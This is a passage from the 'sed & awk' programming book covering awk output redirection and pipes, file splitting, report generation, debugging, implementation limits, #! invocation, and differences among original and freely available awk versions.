/var/spool/uucppublic/HyperBugs
<Press RETURN to continue>

When the user presses the RETURN key, the menu is redisplayed on the screen. The user can quit from the program by choosing "4".

This program is really a shell for executing commands. Any sequence of commands (even other awk programs) can be executed by modifying the menu-command file. In other words, the part of the program that might change the most is extracted from the program itself and maintained in a separate file. This allows the menu list to be changed and extended very easily by a nontechnical user.

Previous: 10.3 The system() Function | sed & awk | Next: 10.5 Directing Output to Files and Pipes
10.3 The system() Function | Book Index | 10.5 Directing Output to Files and Pipes
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 10] 10.5 Directing Output to Files and Pipes

sed & awk

sed & awkSearch this book
Previous: 10.4 A Menu-Based Command Generator Chapter 10
The Bottom Drawer 		Next: 10.6 Generating Columnar Reports

10.5 Directing Output to Files and Pipes

The output of any print or printf statement can be directed to a file, using the output redirection operators ">" or ">>". For example, the following statement writes the current record to the file data.out:

print > "data.out"

The filename can be any expression that evaluates to a valid filename. A file is opened by the first use of the redirection operator, and subsequent uses append data to the file. The difference between ">" and ">>" is the same as between the shell redirection operators. A right-angle bracket (">") truncates the file when opening it while ">>" preserves whatever the file contains and appends data to it.

Because the redirection operator ">" is the same as the relational operator, there is the potential for confusion when you specify an expression as an argument to the print command. The rule is that ">" will be interpreted as a redirection operator when it appears in an argument list for any of the print statements. To use ">" as a relational operator in an expression that appears in the argument list, put either the expression or the argument list in parentheses. For example, the following example uses parentheses around the conditional expression to make sure that the relational expression is evaluated properly:

print "a =", a, "b =", b, "max =", (a > b ? a : b) > "data.out"

The conditional expression evaluates whether a is greater than b; if it is, then the value of a is printed as the maximum value; otherwise, b's value is used.

10.5.1 Directing Output to a Pipe

You can also direct output to a pipe. The command

print | command

opens a pipe the first time it is executed and sends the current record as input to that command. In other words, the command is only invoked once, but each execution of the print command supplies another line of input.

The following script strips troff macros and requests from the current input line and then sends the line as input to wc to determine how many words are in the file:

{# words.awk - strip macros then get word count
sub(/^\.../,"")
print | "wc -w"
}

By removing formatting codes, we get a truer word count.

In most cases, we prefer to use a shell script to pipe the output of the awk command to another command rather than do it inside the awk script. For instance, we'd write the previous example as a shell script invoking awk and piping its output to wc:

awk '{ # words -- strip macros
sub(/^\.../,"")
print
}' $* |
# get word count
wc -w

This method seems simpler and easier to understand. Nonetheless, the other method has the advantage of accomplishing the same thing without creating a shell script.

Remember that you can only have so many pipes open at a time. Use the close() function to close the pipe when you are done with it.

10.5.2 Working with Multiple Files

A file is opened whenever you read from or write to a file. Every operating system has some limit on the number of files a running program may have open. Furthermore, each implementation of awk may have an internal limit on the number of open files; this number could be smaller than the system's limit.[4] So that you don't run out of open files, awk provides a close() function that allows you to close an open file. Closing files that you have finished processing allows your program to open more files later on.

[4] Gawk will attempt to appear to have more files open than the system limit by closing and reopening files as needed. Even though gawk is "smart," it is still more efficient to close your files when you're done with them.

A common use for directing output to files is to split up a large file into a number of smaller files. Although UNIX provides utilities, split and csplit, that do a similar job, they do not have the ability to give the new file a useful filename.

Similarly, sed can be used to write to a file, but you must specify a fixed filename. With awk, you can use a variable to specify the filename and pick up the value from a pattern in the file. For instance, if $1 provided a string that could be used as a filename, you could write a script to output each record to its own file:

print $0 > $1

You should perhaps test the filename, either to determine its length or to look for characters that cannot be used in a filename.

If you don't close your files, such a program would eventually run out of available open files, and have to give up. The example we are going to look at works because it uses the close() function so that you will not run into any open-file limitations.

The following script was used to split up a large file containing dozens of manpages. Each manual page began by setting a number register and ended with a blank line:

.nr X 0

(Although they used the -man macros for the most part, the beginning of a manpage was strangely coded, making things a little harder.) The line that provides the filename looks like this:

.if \nX=0 .ds x}  XDrawLine "" "Xlib - Drawing Primitives"

The fifth field on this line, "XDrawLine," contains the filename. Perhaps the only difficulty in writing the script is that the first line is not the one that provides the filename. Therefore, we collect the lines in an array until we get a filename. Once we get the filename, we output the array, and from that point on we simply write each input line to the new file. Here's the man.split script:

# man.split -- split up a file containing X manpages.
BEGIN { file = 0; i = 0; filename = "" }

# First line of new manpage is ".nr X 0"
# Last line is blank
/^\.nr X 0/,/^$/ {
    # this conditional collects lines until we get a filename.
    if (file == 0)
        line[++i] = $0
    else
        print $0 > filename

    # this matches the line that gives us the filename
    if ($4 == "x}") {
        # now we have a filename
        filename = $5
        file = 1
        # output name to screen
        print filename
        # print any lines collected
        for (x = 1; x <= i; ++x){
            print line[x] > filename
        }
        i = 0
    }

    # close up and clean up for next one
    if ($0 ~ /^$/) {
        close(filename)
        filename = ""
        file = 0
        i = 0
    }
}

As you can see, we use the variable file as a flag to convey whether or not we have a valid filename and can write to the file. Initially, file is 0, and the current input line is stored in an array. The variable i is a counter used to index the array. When we encounter the line that sets the filename, then we set file to 1. The name of the new file is printed to the screen so that the user can get some feedback on the progress of the script. Then we loop through the array and output it to the new file. When the next input line is read, file will be set to 1 and the print statement will output it to the named file.

Previous: 10.4 A Menu-Based Command Generator | sed & awk | Next: 10.6 Generating Columnar Reports
10.4 A Menu-Based Command Generator | Book Index | 10.6 Generating Columnar Reports
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 10] 10.6 Generating Columnar Reports

sed & awk

sed & awkSearch this book
Previous: 10.5 Directing Output to Files and Pipes Chapter 10
The Bottom Drawer 		Next: 10.7 Debugging

10.6 Generating Columnar Reports

This section describes a small-scale business application that produces reports with dollar amounts. While this application doesn't introduce any new material, it does emphasize the data processing and reporting capabilities of awk. (Surprisingly, some people do use awk to write small business applications.)

It is presumed that a script exists for data entry. The data-entry script has two jobs: the first is to enter the customer's name and mailing address for later use in building a mailing list; the second is to record the customer's order of any of seven items, the number of items ordered, and the price per item. The data collected for the mailing list and the customer order were written to separate files.

Here are two sample customer records from the customer order file:

Charlotte Webb
P.O  N61331 97 Y 045 	Date: 03/14/97
#1 3  7.50
#2 3  7.50
#3 1  7.50
#4 1  7.50
#7 1  7.50

Martin S. Rossi
P.O  NONE 	Date: 03/14/97
#1 2  7.50
#2 5  6.75

Each order covers multiple lines, and a blank line separates one order from another. The first two lines supply the customer's name, purchase order number and the date of the order. Each subsequent line identifies an item by number, the number ordered, and the price of the item.

Let's write a simple program that multiplies the number of items by the price. The script can ignore the first two lines of each record. We only want to read the lines where an item is specified, as in the following example.

awk '/^#/ {
        amount = $2 * $3
        printf "%s %6.2f\n", $0, amount
        next
     }
{ print }' $*

The main procedure only affects lines that match the pattern. It multiplies the second field by the third field, assigning the value to the variable amount. The printf conversion %f is used to print a floating-point number; "6.2" specifies a minimum field width of six and a precision of two. Precision is the number of digits to the right of the decimal point; the default for %f is six. We print the current record along with the value of the variable amount. If a line is printed within this procedure, the next line is read from standard input. Lines not matching the pattern are simply passed through. Let's look at how addem works:

$ addem orders
Charlotte Webb
P.O  N61331 97 Y 045 	Date: 03/14/97
#1 3  7.50  22.50
#2 3  7.50  22.50
#3 1  7.50   7.50
#4 1  7.50   7.50
#7 1  7.50   7.50

Martin S. Rossi
P.O  NONE 	Date: 03/14/97
#1 2  7.50  15.00
#2 5  6.75  33.75

This program did not need to access the customer record as a whole; it simply acted on the individual item lines. Now, let's design a program that reads multiline records and accumulates order information for display in a report. This report should display for each item the total number of copies and the total amount. We also want totals reflecting all copies ordered and the sum of all orders.

Our new script will begin by setting the field and record separators:

BEGIN { FS = "\n"; RS = "" }

Each record has a variable number of fields, depending upon how many items have been ordered. First, we check that the input record has at least three fields. Then a for loop is built to read all of the fields beginning with the third field.

NF >= 3 {
for (i = 3; i <= NF; ++i) {

In database terms, each field has a value and each value can be further broken up as subvalues. That is, if the value of a field in a multiline record is a single line, subvalues are the words that are on that line. We can use the split() function to divide a field into subvalues.

The following part of the script splits each field into subvalues. $i will supply the value of the current field that will be divided into elements of the array order:

sv = split($i, order, " ")
if (sv == 3) {
       procedure
} else
       print "Incomplete Record"
} # end for loop

The number of elements returned by the function is saved in a variable sv. This allows us to test that there are three subvalues. If there are not, the else statement is executed, printing the error message to the screen.

Next we assign each individual element of the array to a specific variable. This is mainly to make it easier to remember what each element represents:

title = order[1]
copies = order[2]
price = order[3]

Then we perform a group of arithmetic operations on these values:

amount = copies * price
total_vol += copies
total_amt += amount
vol[title] += copies
amt[title] += amount

We accumulate these values until the last input record is read. The END procedure prints the report.

Here's the complete program:

$ cat addemup
#! /bin/sh
# addemup -- total customer orders
awk 'BEGIN { FS = "\n"; RS = "" }
NF >= 3 {
    for (i = 3; i <= NF; ++i) {
        sv = split($i, order, " ")
        if (sv == 3) {
            title = order[1]
            copies = order[2]
            price = order[3]
            amount = copies * price
            total_vol += copies
            total_amt += amount
            vol[title] += copies
            amt[title] += amount
        } else
            print "Incomplete Record"
    }
}
END {
   printf "%5s\t%10s\t%6s\n\n", "TITLE", "COPIES SOLD", "TOTAL"
   for (title in vol)
       printf "%5s\t%10d\t$%7.2f\n", title, vol[title], amt[title]
   printf "%s\n", "-------------"
   printf "\t%s%4d\t$%7.2f\n", "Total ", total_vol, total_amt
}' $*

We have defined two arrays that have the same subscript. We only need to have one for loop to read both arrays.

addemup, an order report generator, produces the following output:

$ addemup orders
TITLE     COPIES SOLD      TOTAL

   #1              5     $  37.50
   #2              8     $  56.25
   #3              1     $   7.50
   #4              1     $   7.50
   #7              1     $   7.50
-------------
     Total        16     $ 116.25

Previous: 10.5 Directing Output to Files and Pipes | sed & awk | Next: 10.7 Debugging
10.5 Directing Output to Files and Pipes | Book Index | 10.7 Debugging
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 10] 10.7 Debugging

sed & awk

sed & awkSearch this book
Previous: 10.6 Generating Columnar Reports Chapter 10
The Bottom Drawer 		Next: 10.8 Limitations

10.7 Debugging

No aspect of programming is more frustrating or more essential than debugging. In this section, we'll look at ways to debug awk scripts and offer advice on how to correct an awk program that fails to do what it is supposed to do.

Modern versions of awk do a pretty good job of reporting syntax errors. But even with good error detection, it is often difficult to isolate the problem. The techniques for discovering the source of the problem are a modest few and are fairly obvious. Unfortunately, most awk implementations come with no debugging tools or extensions.

There are two classes of problems with a program. The first is really a bug in the program's logic. The program runs - that is, it finishes without reporting any error messages, but it does not produce the result you wanted. For instance, perhaps it does not create any output. This bug could be caused by failing to use a print statement to output the result of a calculation. Program errors are mental errors, if you will.

The second class of error is one in which the program fails to execute or complete execution. This could result from a syntax error and cause awk to spit code at you that it is unable to interpret. Many syntax errors are the result of a typo or a missing brace or parenthesis. Syntax errors usually generate error messages that help direct you to the problem. Sometimes, however, a program may cause awk to fail (or "core dump") without producing any reasonable error message.[5] This may also be caused by a syntax error, but there could be problems specific to the machine. We have had a few larger scripts that dumped core on one machine while they ran without a problem on another. You could, for instance, be running up against limitations set for awk for that particular implementation. See the section "Limitations", later in this chapter.

[5] This indicates that the awk implementation is poor. Core dumps are very rare in modern versions of awk.

You should be clear in your mind which type of program bug you are trying to find: an error in the script's logic or an error in its syntax.

10.7.1 Make a Copy

Before you begin debugging a program, make a copy of it. This is extremely important. To debug an awk script, you have to change it. These modifications may point you to the error but many changes will have no effect or may introduce new problems. It's good to be able to restore changes that you make. However, it is bothersome to restore each change that you make, so I like to continue making changes until I have found the problem. When I know what it is, I go back to the original and make the change. In effect, that restores all the other inconsequential changes that were made in the copy.

It is also helpful to view the process of creating a program as a series of stages. Look at a core set of features as a single stage. Once you have implemented these features and tested them, make a copy of the program before going to the next stage to develop new features. That way, you can always return to the previous stage if you have problems with the code that you add.

We would recommend that you formalize this process, and go so far as to use a source code management system, such as SCCS (Source Code Control System), RCS (Revision Control System), or CVS (Concurrent Versioning System, which is compatible with RCS). The latter two are freely available from any GNU FTP mirror site.

10.7.2 Before and After Photos

What is difficult in debugging awk is that you don't always know what is happening during the course of the program. You can inspect the input and the output, but there is no way to stop the program in mid-course and examine its state. Thus, it is difficult to know which part of the program is causing a problem.

A common problem is determining when or where in the program the assignment of a variable takes place. The first method of attack is to use the print statement to print the value of the variable at various points in the program. For instance, it is common to use a variable as a flag to determine that a certain condition has occurred. At the beginning of the program, the flag might be set to 0. At one or more points in the program, the value of this flag might be set to 1. The problem is to find where the change actually occurs. If you want to check the flag at a particular part of the program, use print statements before and after the assignment. For instance:

print flag, "before"
if (! $1) {
    .
    .
    .
    flag = 1
}
print flag, "after"

If you are unsure about the result of a substitution command or any function, print the string before and after the function is called:

print $2
sub(/ *\(/, "(", $2)
print $2

The value of printing the value before the substitution command is to make sure that the command sees the value that you think should be there. A previous command might have changed that variable. The problem may turn out to be that the format of the input record is not as you thought. Checking the input carefully is a very important step in debugging. In particular, use print statements to verify that the sequence of fields is as you expect. When you find that input is causing the problem, you can either fix the input or write new code to accommodate it.

10.7.3 Finding Out Where the Problem Is

The more modular a script is - that is, the more it can be broken down into separate parts - the easier it is to test and debug the program. One of the advantages of writing functions is that you can isolate what is going on inside the function and test it without affecting other parts of the program. You can omit an entire action and see what happens.

If a program has a number of branching constructs, you might find that an input line falls through one of branches. Test that the input reaches part of a program. For instance, when debugging the masterindex program, described in Chapter 12, Full-Featured Applications, we wanted to know if an entry containing the word "retrieving" was being handled in a particular part of the program. We inserted the following line in the part of the program where we thought it should be encountered:

if ($0 ~ /retrieving/) print ">> retrieving" > "/dev/tty"

When the program runs, if it encounters the string "retrieving," it will print the message. (">>" is used as a pair of characters that will instantly call attention to the output; "!!" is also a good one.)

Sometimes you might not be sure which of several print statements are causing a problem. Insert identifiers into the print statement that will alert you to the print statement being executed. In the following example, we simply use the variable name to identify what is printed with a label:

if (PRIMARY)
    print (">>PRIMARY:", PRIMARY)
else
    if (SECONDARY)
        print (">>SECONDARY:", SECONDARY)
    else
        print (">>TERTIARY:", TERTIARY)

This technique is also useful for investigating whether or not parts of the program are executed at all. Some programs get to be like remodeled homes: a room is added here, a wall is taken down there. Trying to understand the basic structure can be difficult. You might wonder if each of the parts is truly needed or indeed if it is ever executed at all.

If an awk program is part of a pipeline of several programs, even other awk programs, you can use the tee command to redirect output to a file, while also piping the output to the next command. For instance, look at the shell script for running the masterindex program, as shown in Chapter 12:

$INDEXDIR/input.idx $FILES |
sort -bdf -t:  +0 -1 +1 -2 +3 -4 +2n -3n | uniq |
$INDEXDIR/pagenums.idx | tee page.tmp |
$INDEXDIR/combine.idx |
$INDEXDIR/format.idx

By adding "tee page.tmp", we are able to capture the output of the pagenums.idx program in a file named page.tmp. The same output is also piped to combine.idx.

10.7.4 Commenting Out Loud

Another technique is simply commenting out a series of lines that may be causing problems to see whether they really are. We recommend developing a consistent two-character symbol such as "#%" to comment out lines temporarily. Then you will notice them on subsequent editing and remember to deal with them. It also becomes easier to remove the symbols and restore the lines with a single editing command that does not affect program comments:

#% if ( thisFails )
    print "I give up"

Using the comment here eliminates the conditional, so the print statement is executed unconditionally.

10.7.5 Slash and Burn

When all else fails, arm yourself with your editor's delete command and begin deleting portions of the program until the error disappears. Of course, make a copy of the program and delete lines from the temporary copy. This is a very crude technique, but an effective one to use before giving up altogether or starting over from scratch. It is sometimes the only way to discover what is wrong when the only result you get is that the program dumps core. The idea is the same as above, to isolate the problem code. Remove a function, for instance, or a for loop to see if it is the cause of the problem. Be sure to cut out complete units: for instance, all the statements within braces and the matching braces. If the problem persists - the program continues to break - then cut out another large section of the program. Sooner or later, you will find the part that is causing the problem.

You can use "slash and burn" to learn how a program works. First, run the original program on sample input, saving the output. Begin by removing a part of the program that you don't understand. Then run the modified program on sample input and compare the output to the original. Look to see what changed.

10.7.6 Getting Defensive About Your Script

There are all types of input errors and inconsistencies that will turn up bugs in your script. You probably didn't consider that user errors will be pointed to as problems with your program. Therefore, it is a good idea to surround your core program with "defensive" procedures designed to trap inconsistent input records and prevent the program from failing unexpectedly. For instance, you might want to verify each input record before processing it, making sure that the proper number of fields exist or that the kind of data that you expect is found in a particular field.

Another aspect of incorporating defensive techniques is error handling. In other words, what do you want to have happen once the program detects an error? While in some cases you can have the program continue, in other cases it may be preferable that the program print an error message and/or halt.

It is also appropriate to recognize that awk scripts are typically confined to the realm of quick fixes, programs that solve a particular problem rather than solving a class of problems encountered by many different users. Because of the nature of these programs, it is not really necessary that they be professional quality. Thus, it is not necessary to write 100% user-proof programs. For one thing, defensive programming is quite time-consuming and frequently tedious. Secondly, as amateurs, we are at liberty to write programs that perform the way we expect them to; a professional has to write for an audience and must account for their expectations. In brief, if you are writing the script for others to use, consider how it may be used and what problems its users may encounter before considering the program complete. If not, maybe the fact that the script works - even for a very narrow set of circumstances - is good enough and all there is time for.

Previous: 10.6 Generating Columnar Reports | sed & awk | Next: 10.8 Limitations
10.6 Generating Columnar Reports | Book Index | 10.8 Limitations
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 10] 10.8 Limitations

sed & awk

sed & awkSearch this book
Previous: 10.7 Debugging Chapter 10
The Bottom Drawer 		Next: 10.9 Invoking awk Using the #! Syntax

10.8 Limitations

There are fixed limits within any awk implementation. The only trouble is that the documentation seldom reports them. Table 10.1 lists the limitations as described in The AWK Programming Language. These limitations are implementation-specific but they are good ballpark figures for most systems.

Table 10.1: Limitations
Item | Limit
Number of fields per record | 100
Characters per input record | 3000
Characters per output record | 3000
Characters per field | 1024
Characters per printf string | 3000
Characters in literal string | 400
Characters in character class | 400
Files open | 15
Pipes open | 1

NOTE: Despite the number in Table 10.1, experience has shown that most awks allow you to have more than one open pipe.

In terms of numeric values, awk uses double-precision, floating-point numbers that are limited in size by the machine's architecture.

Running into these limits can cause unanticipated problems with scripts. In developing examples for the first edition of this book, Dale thought he'd write a search program that could look for a word or sequence of words in a single paragraph. The idea was to read a document as a series of multiline records and if any of the fields contained the search term, print the record, which was a paragraph. It could be used to search through mail files where blank lines delimit paragraphs. The resulting program worked for small test files. However, when tried on larger files, the program dumped core because it encountered a paragraph that was longer than the maximum input record size, which is 3000 characters. (Actually, the file contained an included mail message where blank lines within the message were prefixed by ">".) Thus, when reading multiple lines as a single record, you better be sure that you don't anticipate records longer than 3000 characters. By the way, there is no particular error message that alerts you to the fact that the problem is the size of the current record.

Fortunately, gawk and mawk (see Chapter 11, A Flock of awks) don't have such small limits; for example, the number of fields in a record is limited in gawk to the maximum value that can be held in a C long, and certainly records can be longer than 3000 characters. These versions allow you to have more open files and pipes.

Recent versions of the Bell Labs awk have two options, -mf N and -mr N, that allow you to set the maximum number of fields and the maximum record size on the command line, as an emergency way to get around the default limits.

(Sed implementations also have their own limits, which aren't documented. Experience has shown that most UNIX versions of sed have a limit of 99 or 100 substitute (s) commands.)

Previous: 10.7 Debugging | sed & awk | Next: 10.9 Invoking awk Using the #! Syntax
10.7 Debugging | Book Index | 10.9 Invoking awk Using the #! Syntax
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 10] 10.9 Invoking awk Using the #! Syntax

sed & awk

sed & awkSearch this book
Previous: 10.8 Limitations Chapter 10
The Bottom Drawer 		Next: 11. A Flock of awks

10.9 Invoking awk Using the #! Syntax

The "#!" syntax is an alternative syntax for invoking awk from a shell script. It has the advantage of allowing you to specify awk parameters and filenames on the shell-script command line. The "#!" syntax is recognized on modern UNIX systems, but is not typically found in older System V systems. The best way to use this syntax is to put the following line as the first line[6] of the shell script:

[6] Note that the pathname to use is system-specific.

#!/bin/awk -f

"#!" is followed by the pathname that locates your version of awk and then the -f option. After this line, you specify the awk script:

#!/bin/awk -f
{ print $1 }

Note that no quotes are necessary around the script. All lines in the file after the first one will be executed as though they were specified in a separate script file.

A few years ago, there was an interesting discussion on the Net about the use of the "#!" syntax that clarified how it works. The discussion was prompted by a 4.2BSD user's observation that the shell script below fails:

#!/bin/awk
{ print $1 }

while the one below works:

#!/bin/sh
/bin/awk '{ print $1 }'

The two responses that we saw were by Chris Torek and Guy Harris and we will try to summarize their explanation. The first script fails because it passes the filename of the script as the first parameter (argv[1] in C) and awk interprets it as the input file and not the script file. Because no script has been supplied, awk produces a syntax error message. In other words, if the name of the shell script is "myscript," then the first script executes as:

/bin/awk myscript

If the script was changed to add the -f option, it looks like this:

#!/bin/awk -f
{ print $1 }

Then you enter the following command:

$ myscript myfile

It then executes as though you had typed:

/bin/awk -f myscript myfile

NOTE: You can put only one parameter on the "#!" line. This line is processed directly by the UNIX kernel; it is not processed by the shell and thus cannot contain arbitrary shell constructs.

The "#!" syntax allows you to create shell scripts that pass command-line parameters transparently to awk. In other words, you can pass awk parameters from the command line that invokes the shell script.

For instance, we demonstrate passing parameters by changing our sample awk script to expect a parameter n:

{ print $1*n }

Assuming that we have a test file in which the first field contains a number that can be multiplied by n, we can invoke the program, as follows:

$ myscript n=4 myfile

This spares us from having to pass "$1" as a shell variable and assigning it to n as an awk parameter inside the shell script.

The masterindex, described in Chapter 12, uses the "#!" syntax to invoke awk. If your system does not support this syntax, you can change the script by removing the "#!", placing single quotes around the entire script, and ending the script with "$*", which expands to all shell command-line parameters.

Well, we've quite nearly cleaned out this bottom drawer. The material in this chapter has a lot to do with how awk interfaces with the UNIX operating system, invoking other utilities, opening and closing files, and using pipes. And, we have discussed some of the admittedly crude techniques for debugging awk scripts.

We have covered all of the features of the awk programming language. We have concentrated on the POSIX specification for awk, with only an occasional mention of actual awk implementations. The next chapter covers the differences among various awk versions. Chapter 12 is devoted to breaking down two large, complex applications: a document spellchecker and an indexing program. Chapter 13, A Miscellany of Scripts, presents a variety of user-contributed programs that provide additional examples of how to write programs.

Previous: 10.8 Limitations | sed & awk | Next: 11. A Flock of awks
10.8 Limitations | Book Index | 11. A Flock of awks
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 11] A Flock of awks

sed & awk

sed & awkSearch this book
Previous: 10.9 Invoking awk Using the #! Syntax Chapter 11 Next: 11.2 Freely Available awks

11. A Flock of awks

Contents:
Original awk
Freely Available awks
Commercial awks
Epilogue

In the previous four chapters, we have looked at POSIX awk, with only occasional reference to actual awk implementations that you would run. In this chapter, we focus on the different versions of awk that are available, what features they do or do not have, and how you can get them.

First, we'll look at the original V7 version of awk. The original awk lacks many of the features we've described, so this section mostly describes what's not there. Next, we'll look at the three versions whose source code is freely available. All of them have extensions to the POSIX standard. Those that are common to all three versions are discussed first. Finally, we look at three commercial versions of awk.

11.1 Original awk

In each of the sections that follow, we'll take a brief look at how the original awk differs from POSIX awk. Over the years, UNIX vendors have enhanced their versions of original awk; you may need to write small test programs to see exactly what features your old awk has or doesn't have.

11.1.1 Escape Sequences

The original V7 awk only had "\t", "\n", "\"", and, of course, "\\". Most UNIX vendors have added some or all of "\b" and "\r" and "\f".

11.1.2 Exponentiation

Exponentiation (using the ^, ^=, **, and **= operators) is not in old awk.

11.1.3 The C Conditional Expression

The three-argument conditional expression found in C, "expr1 ? expr2 : expr3" is not in old awk. You must resort to a plain old if-else statement.

11.1.4 Variables as Boolean Patterns

You cannot use the value of a variable as a Boolean pattern.

flag { print "..." }

You must instead use a comparison expression.

flag != 0 { print "..." }

11.1.5 Faking Dynamic Regular Expressions

The original awk made it difficult to use patterns dynamically because they had to be fixed when the script was interpreted. You can get around the problem of not being able to use a variable as a regular expression by importing a shell variable inside an awk program. The value of the shell variable will be interpreted by awk as a constant. Here's an example:

$ cat awkro2
#! /bin/sh
# assign shell's $1 to awk search variable
search=$1
awk '$1 ~ /'"$search"'/' acronyms

The first line of the script makes the variable assignment before awk is invoked. To get the shell to expand the variable inside the awk procedure, we enclose it within single, then double, quotation marks.[1] Thus, awk never sees the shell variable and evaluates it as a constant string.

[1] Actually, this is the concatenation of single-quoted text with double-quoted text with more single-quoted text to produce one large quoted string. This trick was used earlier, in Chapter 6, Advanced sed Commands.

Here's another version that makes use of the Bourne shell variable substitution feature. Using this feature gives us an easy way to specify a default value for the variable if, for instance, the user does not supply a command-line argument.

search=$1
awk '$1 ~ /'"${search:-.*}"'/' acronyms

The expression "${search:-.*}" tells the shell to use the value of search if it is defined; if not, use ".*" as the value. Here, ".*" is regular-expression syntax specifying any string of characters; therefore, all entries are printed if no entry is supplied on the command line. Because the whole thing is inside double quotes, the shell does not perform a wildcard expansion on ".*".

11.1.6 Control Flow

In POSIX awk, if a program has just a BEGIN procedure, and nothing else, awk will exit after executing that procedure. The original awk is different; it will execute the BEGIN procedure and then go on to process input, even if there are no pattern-action statements. You can force awk to exit by supplying /dev/null on the command line as a data file argument, or by using exit.

In addition, the BEGIN and END procedures, if present, have to be at the beginning and end of program, respectively. Furthermore, you can only have one of each.

11.1.7 Field Separating

Field separating works the same in old awk as it does in modern awk, except that you can't use regular expressions.

11.1.8 Arrays

There is no way in the original awk to delete an element from an array. The best thing you can do is assign the empty string to the unwanted array element, and then code your program to ignore array elements whose values are empty.

Along the same lines, in is not an operator in original awk; you cannot use if (item in array) to see if an item is present. Unfortunately, this forces you to loop through every item in an array to see if the index you want is present.

for (item in array) {
    if (item == searchkey) {
        process array[item]
        break
    }
}

11.1.9 The getline Function

The original V7 awk did not have getline. If your awk is really ancient, then getline may not work for you. Some vendors have the simplest form of getline, which reads the next record from the regular input stream, and sets $0, NF and NR (there is no FNR, see below). All of the other forms of getline are not available.

11.1.10 Functions

The original awk had only a limited number of built-in string functions. (See Table 11.1 and Table 11.3.)

Table 11.1: Original awk's Built-In String Functions
Awk Function | Description
index(s,t) | Returns position of substring t in string s or zero if not present.
length(s) | Returns length of string s or length of $0 if no string is supplied.
split(s,a,sep) | Parses string s into elements of array a using field separator sep; returns number of elements. If sep is not supplied, FS is used. Array splitting works the same way as field splitting.
sprintf("fmt",expr) | Uses printf format specification for expr.
substr(s,p,n) | Returns substring of string s at beginning position p up to maximum length of n. If n isn't supplied, the rest of the string from p is used.

Some built-in functions can be classified as arithmetic functions. Most of them take a numeric argument and return a numeric value. Table 11.2 summarizes these arithmetic functions.

Table 11.2: Original awk's Built-In Arithmetic Functions
Awk Function | Description
exp(x) | Returns e to the power x.
int(x) | Returns truncated value of x.
log(x) | Returns natural logarithm (base-e) of x.
sqrt(x) | Returns square root of x.

One of the nicest facilities in awk, the ability to define your own functions, is also not available in original awk.

11.1.11 Built-In Variables

In original awk only the variables shown in Table 11.3 are built in.

Table 11.3: Original awk System Variables
Variable | Description
FILENAME | Current filename
FS | Field separator (a blank)
NF | Number of fields in current record
NR | Number of the current record
OFMT | Output format for numbers (%.6g)
OFS | Output field separator (a blank)
ORS | Output record separator (a newline)
RS | Record separator (a newline)

OFMT does double duty, serving as the conversion format for the print statement, as well as for converting numbers to strings.

Previous: 10.9 Invoking awk Using the #! Syntax | sed & awk | Next: 11.2 Freely Available awks
10.9 Invoking awk Using the #! Syntax | Book Index | 11.2 Freely Available awks
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 11] 11.2 Freely Available awks

sed & awk

sed & awkSearch this book
Previous: 11.1 Original awk Chapter 11
A Flock of awks 		Next: 11.3 Commercial awks

11.2 Freely Available awks

There are three versions of awk whose source code is freely available. They are the Bell Labs awk, GNU awk, and mawk, by Michael Brennan. This section discusses the extensions that are common to two or more of them, and then looks at each version in detail and describes how to obtain it.

11.2.1 Common Extensions

This section discusses extensions to the awk language that are available in two or more of the freely available awks.[2]

[2] As the maintainer of gawk and the author of many of the extensions described here and in the section below on gawk, my opinion about the usefulness of these extensions may be biased. :-) You should make your own evaluation. [A.R.]

11.2.1.1 Deleting all elements of an array

All three free awks extend the delete statement, making it possible to delete all the elements of an array at one time. The syntax is:

delete array

Normally, to delete every element from an array, you have to use a loop, like this.

for (i in data)
    delete data[i]

With the extended version of the delete statement, you can simply use

delete data

This is particularly useful for arrays with lots of subscripts; this version is considerably faster than the one using a loop.

Even though it no longer has any elements, you cannot use the array name as a simple variable. Once an array, always an array.

This extension appeared first in gawk, then in mawk and the Bell Labs awk.

11.2.1.2 Obtaining individual characters

All three awks extend field splitting and array splitting as follows. If the value of FS is the empty string, then each character of the input record becomes a separate field. This greatly simplifies cases where it's necessary to work with individual characters.

Similarly, if the third argument to the split() function is the empty string, each character in the original string will become a separate element of the target array.

Without these extensions, you have to use repeated calls to the substr() function to obtain individual characters.

This extension appeared first in mawk, then in gawk and the Bell Labs awk.

11.2.1.3 Flushing buffered output

The 1993 version of the Bell Labs awk introduced a new function that is not in the POSIX standard, fflush(). Like close(), the argument to fflush() is the name of an open file or pipe. Unlike close(), the fflush() function only works on output files and pipes.

Most programs buffer their output, storing data to be written to a file or pipe in an internal chunk of memory until there's enough to send on to the destination. Occasionally, it's useful for the programmer to be able to explicitly flush the buffer, that is, force all buffered data to actually be delivered. This is the purpose of the fflush() function.

This function appeared first in the Bell Labs awk, then in gawk and mawk.

11.2.1.4 Special filenames

With any version of awk, you can write directly to the special UNIX file, /dev/tty, that is a name for the user's terminal. This can be used to direct prompts or messages to the user's attention when the output of the program is directed to a file:

printf "Enter your name:" >"/dev/tty"

This prints "Enter your name:" directly on the terminal, no matter where the standard output and the standard error are directed.

The three free awks support several special filenames, as listed in Table 11.4.

Table 11.4: Special Filenames
Filename | Description
/dev/stdin | Standard input (not mawk)[3]
/dev/stdout | Standard output
/dev/stderr | Standard error

[3] The mawk manpage recommends using "-" for the standard input, which is most portable.

Note that a special filename, like any filename, must be quoted when specified as a string constant.

